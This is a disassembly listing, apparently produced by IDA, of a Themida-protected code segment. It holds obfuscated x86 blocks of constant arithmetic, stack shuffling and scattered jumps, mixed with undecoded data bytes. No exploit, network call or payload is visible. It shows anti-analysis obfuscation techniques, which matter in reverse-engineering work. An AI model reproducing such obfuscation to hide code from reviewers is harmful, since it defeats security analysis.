; ---------------------------------------------------------------------------


loc_557E8A:				; CODE XREF: Themida_:00566212j
		push	esi
		mov	esi, 66580929h
		dec	esi
		neg	esi
		shl	esi, 8
		xor	esi, 2E440024h
		sub	edx, esi
		mov	esi, [esp]
		add	esp, 4
		mov	ebx, edx
		pop	edx
		push	ebx
		xor	dword ptr [esp], 15C7754h
		pop	edx
		push	esi
		mov	esi, 220E42A7h
		add	esi, 22BF7879h
		jmp	loc_5525BD
; ---------------------------------------------------------------------------
		db 57h,	83h, 0ECh
		dd 8C0EE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557ECA:				; CODE XREF: Themida_:0056466Aj
		add	esp, 4
		inc	esi
		push	ecx
		jmp	loc_55F197
; ---------------------------------------------------------------------------
		db 0FFh
		dd 515A2434h, 0C181E189h, 4, 8904EC83h,	6A68242Ch, 89000063h
		dd 66BF243Ch, 52670245h, 0D54FE9h, 0EA815800h, 4, 0E9241487h
		dd 0AAFDh, 0C780CFFEh, 81CFFECDh, 4ECh,	24148900h, 0C28045B2h
		dd 5AD70064h, 0FFDD63E9h, 405FFh, 4870000h, 5E31E924h
		dd 148B0000h, 4C48324h,	789DC681h, 0C1E928A1h, 5E000078h
		dd 0E5BF5759h, 51406AC5h, 6C14CAB9h, 0FFC82937h, 0E9592434h
		dd 1292h, 0EFB15166h, 8B66C830h, 0C483240Ch, 73EB8002h
		dd 0C380C328h, 0C3005873h, 737368h, 24148900h, 2B9168h
		dd 24148900h, 581E9h, 243C8B00h, 48306853h, 24890000h
		dd 24048324h, 0D8C4E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557FA2:				; CODE XREF: Themida_:0055E28Fj
		add	esp, 4
		push	ebx
		mov	ebx, 4
		push	edx
		mov	edx, 1EA67B27h
		jmp	loc_5534FB
; ---------------------------------------------------------------------------
aIH?		db '‰,$h¾?',0
		dd 24248900h, 4240481h,	0E9000000h, 578Eh, 9B62E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557FD6:				; CODE XREF: Themida_:00563EB1j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 7FCC3476h
		jmp	loc_552F32
; ---------------------------------------------------------------------------


loc_557FE9:				; CODE XREF: Themida_:00553632j
		shr	edx, 8
		jmp	loc_55D99D
; ---------------------------------------------------------------------------
		db 68h,	0Dh, 6Ch
		dd 14890000h, 6C7CBA24h, 0F2811EBEh, 28711D1Ch,	0EAC1DAF7h
		dd 0EAC14203h, 8CF28105h, 5200C930h, 5244E9h, 22EF8100h
		dd 0E90D7954h, 0FFFFAF15h, 0EBC43540h, 25E9B616h, 100007Fh
		dd 0B9EE81D6h, 5A450A71h, 3E32E9h, 0E8E98000h, 0C180D928h
		dd 0F0E980E8h, 0E381E9h
		db 0
; ---------------------------------------------------------------------------


loc_55804D:				; CODE XREF: Themida_:00559D5Aj
		pop	esp
		jmp	loc_55FC82
; ---------------------------------------------------------------------------
		db 88h
		dd 24148BD5h, 4C481h, 0D5F60000h, 0EF885352h, 0ACE9FA88h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55806B:				; CODE XREF: Themida_:00551AFFj
		xchg	edx, [esp]
		mov	esp, [esp]
		mul	cl
		movzx	cx, ah
		jmp	loc_558293
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 0DA26E9h,	81E58900h, 4C5h, 4C58100h, 0E9000000h
		dd 11C9h, 3189D101h, 2434FF59h,	4C4835Eh, 8904EC83h, 0A7B9240Ch
		dd 0E954301Ch, 7808h, 16FAEA81h, 0F7925D72h, 0B2E992D0h
		dd 68FFFFF0h, 187h, 83243C89h, 0EC8304ECh, 24248904h, 4240481h
		dd 8F000000h, 0E9532404h, 9B6Ch, 58C5015Fh, 4EC81h, 2C890000h
		dd 2474FF24h, 48F5D04h,	0EC815C24h, 4, 52241C89h, 8363EFBAh
		dd 5AD38954h, 24B0BF57h, 0FB217014h, 4EC815Fh, 89000000h
		dd 0CFB9240Ch, 8116A141h, 0C25576F1h, 59CB290Eh, 0BA525743h
		dd 6225181h, 0FFE2D4E9h, 4EAC1FFh, 0C604E9h, 30DD3000h
		dd 4E3C0EBh, 1FED6866h,	24148966h, 93E915B2h, 81FFFFB4h
		dd 0F9497DE1h, 81E1D12Ah, 485FE0E1h, 0E6E98145h, 0E9CAE2CEh
		dd 9AEFh, 83241C8Bh, 0E6C104C4h, 0D6EE8102h, 1443352h
		dd 2434FFF0h, 4C4835Eh,	0DF32E9h, 4C38100h, 0E9000000h
		dd 9A7Eh
; ---------------------------------------------------------------------------


loc_558198:				; CODE XREF: Themida_:00561461j
		mov	edi, 9BE0C931h
		add	eax, edi
		pop	edi
		add	edi, eax
		pop	eax
		jmp	loc_55CE32
; ---------------------------------------------------------------------------
		dd 98381B68h, 0D1015AF6h, 59CA095Ah, 110EE9h, 81EF0100h
		dd 1E3FCEC7h, 87E95D49h, 29000030h, 0C335DE9h, 0A914E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5581D2:				; CODE XREF: Themida_:0056463Ej
		add	esp, 4
		xor	ebx, esi
		pop	esi
		add	eax, 40357592h
		sub	eax, ebx
		sub	eax, 40357592h
		pop	ebx
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	ecx
		jmp	loc_564A53
; ---------------------------------------------------------------------------
aZSuo		db '[‡,$\éão',0
		dw 0B800h
		dd 4, 5626E9h, 941AE900h, 0C181FFFFh, 1, 501AC181h, 0E4680423h
		dd 89000008h, 0BA522404h, 10BC29BBh, 0BF995FB8h, 5AD029EFh
		dd 68E3E981h, 0BE566AA1h, 1D6C4279h, 57E9F101h,	59FFFFF1h
		dd 535FF801h, 0C381E389h, 4, 4BA52h, 0D3290000h, 0FFA79CE9h
		dd 3070B2FFh, 0E1005AD4h, 8324048Bh, 0CE3004C4h, 56240C8Bh
		dd 0C681E689h, 4, 8704C683h, 665C2434h,	0E9BBB753h, 0FFFFEF07h
		dd 4BD55h, 2BE90000h
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558293:				; CODE XREF: Themida_:00558077j
		push	small 6E10h
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_565E35
; ---------------------------------------------------------------------------
		db 0BEh
		dd 61314E37h, 1E49F681h, 0ACE90386h, 810000B9h,	0A148ACF5h
		dd 0C654E909h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5582C2:				; CODE XREF: Themida_:005532ACj
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_55B287
; ---------------------------------------------------------------------------


loc_5582CF:				; CODE XREF: Themida_:00551F26j
		push	ebx
		mov	ebx, 62BB0B9Ah
		shr	ebx, 6
		shr	ebx, 7
		add	ebx, 52ED0D03h
		sub	ebx, 0FFFFFFFFh
		sub	ebx, 3450E985h
		push	ebx
		add	dword ptr [esp], 6DED12B6h
		jmp	loc_56083E
; ---------------------------------------------------------------------------


loc_5582FA:				; CODE XREF: Themida_:0055E6C3j
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_5643A4
; ---------------------------------------------------------------------------


loc_558313:				; CODE XREF: Themida_:00563A61j
		mov	ebx, 11297E87h
		inc	ebx
		shl	ebx, 1
		add	ebx, 24C27A09h
		sub	ebx, 0F595FC1h
		jmp	loc_55FA53
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFF92F4h, 120FE981h, 4941723Fh, 2AF2E981h
		dd 0E9C16FC8h, 22F18104h, 81027F0Fh, 0F6248FEBh, 81CB0134h
		dd 0F6248FC3h, 0C3015934h, 2142EB81h, 0EB810B3Ch, 565352C2h
		dd 56C30158h, 0FFFF36E9h, 5E089FFh, 4, 42Dh, 44C5E900h
		dd 295A0000h, 8108247Ch, 1D082444h, 8B51C469h, 0C483243Ch
		dd 246C8104h, 2C52C404h, 247C0119h, 24448104h, 2C52C404h
		dd 4EC8319h, 50243C89h,	2D2E9EB8h, 0D4E8E924h, 5152FFFFh
		dd 43320FB9h, 0F3EBA13h, 0CA0169B8h, 0EC3FBD59h, 1AE9DAD8h
		db 6Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5583D3:				; CODE XREF: Themida_:005626E2j
		pop	ebp
		xchg	ecx, [esp]
		jmp	loc_564B85
; ---------------------------------------------------------------------------
aIRs1		db 'ˆÙRé1)',0
		align 4


loc_5583E4:				; CODE XREF: Themida_:005595C2j
		xor	esi, [esp]
		pop	esp
		jmp	loc_55BE08
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 4
		dd 0E9000000h, 4559h, 0E9E3EF80h, 0C8B9h, 4B8h,	58C28900h
		dd 0E95AD501h, 8CD8h
; ---------------------------------------------------------------------------


loc_558410:				; CODE XREF: Themida_:0055EEA6j
		push	ebx
		mov	ebx, 0
		add	ebx, edx
		add	dword ptr [ebx], 1
		jmp	loc_55F533
; ---------------------------------------------------------------------------
		db 8Fh
		dd 665C2404h, 52C8BE0Fh, 24148B54h, 8104C483h, 4C2h, 0E0895000h
		dd 405h, 4E88300h, 8B240487h, 34892424h, 9782E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558452:				; CODE XREF: Themida_:005656A2j
		pop	ebx
		sub	eax, 6482602Ah
		push	0BAFh
		jmp	loc_559B8E
; ---------------------------------------------------------------------------


loc_558462:				; CODE XREF: Themida_:0055E513j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	457Eh
		mov	[esp], edx
		push	1
		jmp	loc_5598FF
; ---------------------------------------------------------------------------
aTxptsnr	db 'TXPTéN',0
		align 4
		dd 9E78E943h, 3C87FFFFh, 8F545C24h, 0EC832404h,	243C8904h
		dd 3144B951h, 40BF4C00h, 314C0031h, 0F28BE9CFh,	315BFFFFh
		dd 24048BC1h, 81E68956h, 4C6h, 0BD09E900h, 6C810000h, 749D0424h
		dd 0ACE90FF7h
		db 0E0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5584D3:				; CODE XREF: Themida_:00561E2Fj
		pop	ebx
		jmp	loc_554129
; ---------------------------------------------------------------------------
		db 89h,	0F2h, 5Eh
		dd 0E9D60158h, 0FFFFE7BEh
; ---------------------------------------------------------------------------


loc_5584E4:				; CODE XREF: Themida_:0055D032j
		pop	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_55FE43
; ---------------------------------------------------------------------------
		dd 5304C483h, 71ADE9h
		db 0
; ---------------------------------------------------------------------------


loc_558505:				; CODE XREF: Themida_:0055D9E0j
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_55578D
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 4C281h, 0ACE90000h, 0C1FFFFCBh, 0B6E906EDh, 8100003Ch
		dd 0F05C08C9h, 0CB5BE911h, 685BFFFFh, 192Dh, 0A1F7E9h
		dd 0DE875900h, 2404FF53h, 2526E95Bh, 0EC810000h, 4, 7A9668h
		dd 24248900h, 351EE9h, 24143100h, 5C241433h, 0D4668h, 243C8900h
		dd 4EC81h, 8F540000h, 3AE92404h, 0FFFFFFF0h, 148B2434h
		dd 4C48324h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_552BB7
; ---------------------------------------------------------------------------
		dd 0F55FE958h, 3487FFFFh, 0C542E924h, 1204FFFFh, 4EC81h
		dd 34890000h, 81E68924h, 4C6h, 5233E900h, 28F0000h, 0FF9067E9h
		dd 0E9C801FFh, 0A42Dh, 4EC8353h, 81242489h, 42404h, 1C8B0000h
		dd 4C48124h, 81000000h,	4C3h, 4C38300h,	0FFB082E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5585ED:				; CODE XREF: Themida_:00561F35j
		push	ecx
		mov	ch, 4Bh
		mov	dl, 0CFh
		add	dl, ch
		pop	ecx
		mov	cl, 36h
		xor	cl, dl
		jmp	loc_551738
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 505F5424h, 6936F4B8h, 0BBA525Eh, 0E92E0862h,	0FFFFD55Bh
		dd 0A80FE9ADh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55861A:				; CODE XREF: Themida_:00559C49j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 54081F5Bh
		mov	ebp, 69A80D00h
		xor	ebp, ebx
		jmp	loc_551BB2
; ---------------------------------------------------------------------------


loc_558631:				; CODE XREF: Themida_:00563492j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_553E17
; ---------------------------------------------------------------------------


loc_558651:				; CODE XREF: Themida_:005537DCj
		push	ebp
		mov	ebp, 4F5C2308h
		xor	ebp, 45DE5001h
		or	ebp, 4E0C1AA7h
		add	ebp, 0B62B4C0h
		add	ecx, ebp
		pop	ebp
		sub	ecx, 6BB271B4h
		push	eax
		mov	eax, 4D707553h
		sub	ecx, 798A6DF8h
		sub	ecx, eax
		add	ecx, 798A6DF8h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55BB7B
; ---------------------------------------------------------------------------
		db 81h,	0CFh, 0B2h
		dd 5710636Dh, 0BB53E789h, 30B51192h, 1BB9F381h,	0C3815399h
		dd 9CD3F5D9h, 835BDF01h, 3C8704EFh, 2C895C24h, 0F704E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5586BE:				; CODE XREF: Themida_:005637A0j
		push	4C06h
		mov	[esp], esi
		mov	esi, 402D7D03h
		jmp	loc_565CCC
; ---------------------------------------------------------------------------
		dd 0E908EBC1h, 0C319h
; ---------------------------------------------------------------------------


loc_5586D8:				; CODE XREF: Themida_:005615B5j
		pop	eax
		mov	edi, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_557BB2
; ---------------------------------------------------------------------------
		dw 32FFh
		dd 0FF8F3BE9h, 24248BFFh, 9C243CD2h, 0FF8F2FE9h, 34FF59FFh
		dd 54525F24h, 0E924148Bh, 9EAEh, 4BF57h, 0FA290000h, 96A9E95Fh
		dd 0C681FFFFh, 4, 3DBFE9h, 4895C00h, 52EC8824h,	0C281E289h
		dd 4, 8704EA83h, 895C2414h, 0E788241Ch,	1C8BFE88h, 0D7D2E924h
		dd 0C870000h, 24248B24h, 6F4CBF57h, 0FD016A48h,	81CD015Fh
		dd 486F4CEDh, 240C8B6Ah, 0FF993BE9h, 2434FFFFh,	0E2895259h
		dd 4C281h, 0C2830000h, 24143304h, 0FFFDDCE9h, 0FF5A56FFh
		dd 0E95E2434h, 0FFFFE1E6h
; ---------------------------------------------------------------------------


loc_558788:				; CODE XREF: Themida_:00557455j
		xchg	eax, [esp]
		pop	esp
		push	22D3h
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		sub	esp, 4
		jmp	loc_5552A4
; ---------------------------------------------------------------------------
		dd 0FF8E77E9h, 0DCED81FFh, 8951ADB5h, 242C8BEEh, 4C481h
		dd 0EC810000h, 4, 55241C89h, 7B22DD68h,	0EDD15D23h, 6DB4E581h
		dd 0F58159A7h, 11A50124h, 0FFC4F5E9h, 5DEE29FFh, 0B850C601h
		dd 24C40230h, 465EC681h, 0C6017062h, 465EEE81h,	48B7062h
		dd 4C48324h, 582434FFh,	4C481h,	0FF560000h, 0E9042474h
		dd 5541h, 815F5457h, 4C7h, 8963E900h, 2D590000h, 109226A1h
		dd 0A105D001h, 5109226h, 892422Ch, 5124148Bh, 0F5E9E189h
		dd 810000BBh, 931424C2h, 12CA8116h, 0E90C4A24h,	0FFFFEE1Dh
; ---------------------------------------------------------------------------


loc_558854:				; CODE XREF: Themida_:005622FFj
		mov	ebx, 7F1D1B58h
		jmp	loc_5664F4
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 70E511F0h, 8B23E9h
		db 0
; ---------------------------------------------------------------------------


loc_558869:				; CODE XREF: Themida_:0056163Ej
		mov	eax, [esp]
		add	esp, 4
		add	bl, 0FFh
		xor	bl, 31h
		mov	dh, bl
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		push	edi
		mov	edi, 4
		jmp	loc_55DD7C
; ---------------------------------------------------------------------------
aA6S		db '€Á6(ÌéÍÈ',0
		dw 5600h
		dd 6B3268h, 24048900h, 0B56DFFB8h, 0E9C6892Ch, 3724h, 2D5BD801h
		dd 4, 8B240487h, 14892424h, 81E28924h, 4C2h, 0BF575600h
		dd 2, 89FA8952h, 685F5AD6h, 5B54h, 0B9240C89h, 50A00AECh
		dd 7C5AE181h, 0E1C14BEBh, 0F5E94107h, 2900008Ah, 6FBE56F0h
		dd 17E1253h, 34FF5EF0h,	0C4815E24h, 4, 25B4E9h,	0C3834B00h
		dd 0B6D0E9FFh, 295DFFFFh, 0D7015EF2h, 5A2434FFh, 0FFEF34E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558925:				; CODE XREF: Themida_:0055BB6Dj
		add	esp, 4
		mov	ecx, eax
		mov	eax, [esp]
		push	edi
		jmp	loc_56642E
; ---------------------------------------------------------------------------


loc_558936:				; CODE XREF: Themida_:00563F07j
		push	ebx
		mov	ebx, 5E2DECh
		mov	ebp, 5E2DF0h
		sub	ebp, ebx
		pop	ebx
		add	ecx, ebp
		jmp	loc_554D30
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481243Ch, 4, 4BD55h, 8DE90000h, 89FFFFD5h,	2FA868E3h
		dd 2C890000h, 8256824h,	0C3E910ECh, 0FF000036h,	48B2434h
		dd 4C48124h, 81000000h,	4ECh, 24148900h, 0C408E9h, 2434FF00h
		dd 5224048Bh, 0C281E289h, 4, 15E0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5589A1:				; CODE XREF: Themida_:00563F18j
		pop	esp
		mov	eax, [esp]
		push	8B9h
		mov	[esp], edi
		jmp	loc_55643A
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 368240Ch, 89000079h,	0E189240Ch, 4508E9h, 5EF50100h
		dd 5224048Bh, 0C03BE954h, 0F301FFFFh, 46A4C381h, 815E5687h
		dd 827B49C3h, 9636E956h, 0C483FFFFh, 1F466804h,	2C890000h
		dd 5E49E924h, 77FF0000h, 59669D1Ch, 9C241CD2h, 0FF8C23E9h
		dd 5ABD2CFFh, 1F04F000h, 0AFF9E953h, 0F75B0000h, 0E9E2D1D2h
		dd 9014h
; ---------------------------------------------------------------------------


loc_558A1C:				; CODE XREF: Themida_:005607D2j
		add	esp, 4
		sub	ebp, 0EA33E50Ah
		jmp	loc_5596AD
; ---------------------------------------------------------------------------


loc_558A2A:				; CODE XREF: Themida_:00564B07j
		mov	eax, 4
		add	ebp, eax
		pop	eax
		sub	ebp, 4
		sub	esp, 4
		jmp	loc_564D77
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF8BE0h
; ---------------------------------------------------------------------------


loc_558A48:				; CODE XREF: Themida_:00557E72j
		pop	ebp
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55D9FC
; ---------------------------------------------------------------------------


loc_558A5C:				; CODE XREF: Themida_:0055EE5Cj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5529C7
; ---------------------------------------------------------------------------
		db 8Bh
		dd 68552404h, 632Dh, 81242489h,	42404h,	0E95D0000h, 7B7Eh
		dd 4D08E5C1h, 8145DDF7h, 0CF7B09F5h, 5DE98910h,	8159CF21h
		dd 0C34CF1F7h, 0DDCF814Fh, 6862B01Ah, 4CF4h, 87243C89h
		dd 0EB87241Ch, 2051E9h
		db 0
; ---------------------------------------------------------------------------


loc_558AB1:				; CODE XREF: Themida_:00560250j
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		jmp	loc_5645CA
; ---------------------------------------------------------------------------
		dd 24048F5Eh, 6624248Bh, 56240C8Bh, 0C681E689h,	4, 4EE81h
		dd 34870000h, 3C895C24h, 34FF5424h, 2DAEE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558AEA:				; CODE XREF: Themida_:00565832j
		neg	eax
		xchg	eax, esi
		add	esi, 46775FEAh
		add	esi, 7C291167h
		add	esi, 6914CA01h
		jmp	loc_55F414
; ---------------------------------------------------------------------------


loc_558B04:				; CODE XREF: Themida_:0055DD62j
		pop	eax
		push	ebx
		jmp	loc_560818
; ---------------------------------------------------------------------------
		db 33h
		dd 4312404h, 24043324h,	48B665Ch, 4EC8324h, 89241489h
		dd 4BB53E2h, 1000000h, 241C8BDAh, 4C481h, 2C680000h, 89000073h
		dd 64E9240Ch, 0B80000A1h, 0
		dd 8E9F829h, 87FFFFB8h,	0E95C2434h, 0A45Ch, 81240C8Bh
		dd 4C4h, 38B95100h, 0E9000000h,	0FFFFF530h, 8324048Bh
		dd 0C48104C4h, 4, 590B951h, 0CB291037h,	81240C8Bh, 4C4h
		dd 0E9EB0100h, 45F9h, 54E9D900h
		db 87h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558B93:				; CODE XREF: Themida_:00551DFDj
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	0D9Ch
		mov	[esp], ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		push	4DBBh
		jmp	loc_562646
; ---------------------------------------------------------------------------
		align 2
		dw 0E9D0h
		dd 181Bh, 4BA52h, 0D1290000h, 240C335Ah, 33240C31h, 895C240Ch
		dd 22B3241Ch, 0F6D88850h, 511EE9D0h, 0D2F70000h, 0FFA9C2E9h
		dd 596E25FFh, 52E9618Dh
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558BF7:				; CODE XREF: Themida_:00565C03j
		shl	edx, 6
		or	edx, 5F3D7D4Fh
		push	edi
		mov	edi, 66563CD5h
		neg	edi
		jmp	loc_55E460
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aSG		db '$éÑG',0
		align 2


loc_558C16:				; CODE XREF: Themida_:00562DE1j
		sub	al, bl
		sub	al, 57h
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_566289
; ---------------------------------------------------------------------------


loc_558C25:				; CODE XREF: Themida_:00562A24j
		dec	eax
		dec	eax
		jmp	loc_552498
; ---------------------------------------------------------------------------
		dd 2CD3665Ch, 1BE99C24h, 29000018h, 0D8E95DEFh,	81FFFFAEh
		dd 36155AF5h, 8BEB0122h, 62E9242Ch, 0BF0000BBh,	4A5A3C37h
		dd 0E95FFE89h, 0B09h, 8904C483h, 1A2D59CAh, 13E1179h, 791A05D0h
		dd 13E93E11h, 8B000087h, 48F2424h, 24248B24h, 0A8CAE9h
		db 0
; ---------------------------------------------------------------------------


loc_558C81:				; CODE XREF: Themida_:0055BE50j
		push	63012BF9h
		pop	edx
		mov	eax, edx
		jmp	loc_55DD53
; ---------------------------------------------------------------------------


loc_558C8E:				; CODE XREF: Themida_:00566566j
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_564AE4
; ---------------------------------------------------------------------------
		dd 81242489h, 42404h, 0E95D0000h, 0FFFFD776h, 0C781E789h
		dd 4, 4EF81h, 23E90000h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558CBF:				; CODE XREF: Themida_:00556DA6j
		mov	ebp, 46F464F1h
		or	ebp, 5A6F12B8h
		dec	ebp
		add	ebp, 1DFC194Fh
		sub	ebp, 7CFB9043h
		add	esi, ebp
		pop	ebp
		sub	esi, 4
		jmp	loc_554B81
; ---------------------------------------------------------------------------
		dw 0FCB0h
		dd 80DEB353h, 0EB8066F3h, 0F4C38023h, 4FEDE9h
		db 0
; ---------------------------------------------------------------------------


loc_558CF5:				; CODE XREF: Themida_:0055910Ej
		mov	ecx, 24h
		push	ebp
		mov	ebp, 61D366D2h
		add	ecx, ebp
		pop	ebp
		sub	ecx, 5C5404A4h
		add	ecx, edi
		add	ecx, 5C5404A4h
		sub	ecx, 61D366D2h
		jmp	loc_557B88
; ---------------------------------------------------------------------------
		dd 24E92FB0h, 89FFFFA7h, 0D5B9240Ch, 816F0769h,	769D1E9h
		dd 0C7D3E96Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558D36:				; CODE XREF: Themida_:0055A10Aj
		not	ecx
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_554DF9
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0C0h
		dd 357A2757h, 16351713h, 508E8C1h, 0FF93EDC4h, 0A36BE9h
		dd 0B8E95200h, 81FFFF8Fh, 4C4h,	72E95900h, 66000028h, 68240C8Bh
		dd 178Dh, 89243C89h, 2BF968E7h,	4890000h, 0FB05E924h, 0E389FFFFh
		dd 4C381h, 0C3830000h, 9403E902h, 0E7890000h, 112C68h
		dd 24348900h, 1AD4E9h, 0BFE9AD00h, 5BFFFF9Fh, 0FE2C3A04h
		dd 0FE04D000h, 10E93A2Ch, 5EFFFFA1h, 4C681h, 0EE830000h
		dd 24348704h, 2404895Ch, 0E92434FFh, 9EA7h, 5024048Bh
		dd 8B14E9h, 243C8900h, 9C3670BFh, 0FFC78323h, 0E48EF81h
		dd 0F8290BFCh, 5C8015Fh, 17A02827h, 553EBB53h, 602D3D37h
		dd 2D3B9B39h, 35F07A6h,	0B3E9D829h, 0C0FFFFD8h,	0F78007EFh
		dd 7E7C04Eh, 8F6BE9h
		db 0
; ---------------------------------------------------------------------------


loc_558E2D:				; CODE XREF: Themida_:0055A44Dj
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_560B6B
; ---------------------------------------------------------------------------
		dw 0F766h
		dd 396866F9h, 1489664Ah, 9C506624h, 0FF87D3E9h,	268F68FFh
		dd 34890000h, 0BBD9E924h, 0BA520000h, 1E441E8h,	6198E9h
		dd 24148900h, 59E0E951h, 0C9B70000h, 45B45066h,	0FFCB8FE9h
		dd 0E94B4BFFh, 0B5Bh
; ---------------------------------------------------------------------------


loc_558E88:				; CODE XREF: Themida_:00554124j
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		shr	eax, 0Eh
		jmp	loc_55A5E8
; ---------------------------------------------------------------------------
		db 0F6h
aS_8		db 'Úé´$',0
		align 2


loc_558EA2:				; CODE XREF: Themida_:00561A24j
		pop	edi
		add	esp, 4
		or	eax, eax
		jmp	loc_55DF7A
; ---------------------------------------------------------------------------


loc_558EB0:				; CODE XREF: Themida_:00564C3Fj
		pop	edx
		shr	al, 4
		dec	al
		not	al
		sub	al, 8Bh
		mov	ch, al
		pop	eax
		push	edx
		jmp	loc_55CA96
; ---------------------------------------------------------------------------


loc_558EC3:				; CODE XREF: Themida_:0055317Fj
		neg	eax
		xor	edx, eax
		xor	eax, edx
		jmp	loc_56546D
; ---------------------------------------------------------------------------
		dw 6856h
		dd 7803h, 0B8240489h, 477C51E2h, 5E7DA2BEh, 8EEC131h, 2F04E9h
		dd 5BD90100h, 0FFAAB8E9h, 89D2DFFh, 34FF0158h, 4EE95E24h
		dd 8BFFFFE1h, 89662424h, 67E92414h, 33000003h, 875C2434h
		dd 248B2404h, 0C8B6624h, 59545124h, 16CC68h, 24348900h
		dd 70D9B850h, 0D4837A8h, 228762DDh, 0C105E8C1h,	82E907E0h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558F3B:				; CODE XREF: Themida_:00559BCEj
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_551C6B
; ---------------------------------------------------------------------------
		db 0BAh, 53h, 6Dh
		dd 0D5097F9Ah, 81D5F75Ah, 0E4D9D7C5h, 5DEE09E9h, 5007EEC1h
		dd 6D53B951h, 0E9813301h, 0C8EA585Dh, 0F759C889h, 549E25D8h
		dd 0AF354338h, 0C1047C76h, 800508E0h, 31E016F4h, 65A5E9C6h
		dd 0C52D0000h, 55793613h, 0FFA4A5E9h, 0CFF381FFh, 8124B750h
		dd 3C17DFEDh, 6CC5811Ch, 113BD36h, 6CED81DDh, 5313BD36h
		dd 4DF56857h, 0E95F489Ch, 4332h
; ---------------------------------------------------------------------------


loc_558FB8:				; CODE XREF: Themida_:005607E3j
		pop	edi
		jmp	loc_55C519
; ---------------------------------------------------------------------------
		dd offset dword_445750+5518h
		dw 8900h
		dd 0E389241Ch, 7120E956h, 56AD0000h, 5B7645BEh,	51D6F76Bh
		dd 0F443A2B9h, 0E9CE2978h, 0FFFFC2A6h, 50F02966h, 405E089h
		dd 2D000000h, 4, 5C240487h, 66241C89h, 66338CBBh, 0FFFFEB81h
		dd 0FFEB8166h, 664B66FFh, 8166D3F7h, 0E9829AC3h, 0FFFFC753h
		dd 6A2C281h, 505D1B92h,	940E36B8h, 0E9C2210Dh, 5DCAh
; ---------------------------------------------------------------------------


loc_55902C:				; CODE XREF: Themida_:00561CEBj
		add	edi, ebp
		pop	ebp
		jmp	loc_565A24
; ---------------------------------------------------------------------------
		dd 0E904EB83h, 15A0h, 0C781CF01h, 43F21172h, 0CB2EF81h
		dd 8759762Ch, 248B243Ch, 2404FF24h, 0F752E99Ch,	6850FFFFh
		dd 34991929h, 0E6DB0558h, 0C189CB66h, 0E924048Bh, 0B5C3h
		dd 53E9E689h
		db 0CDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_559077:				; CODE XREF: Themida_:00556F0Cj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
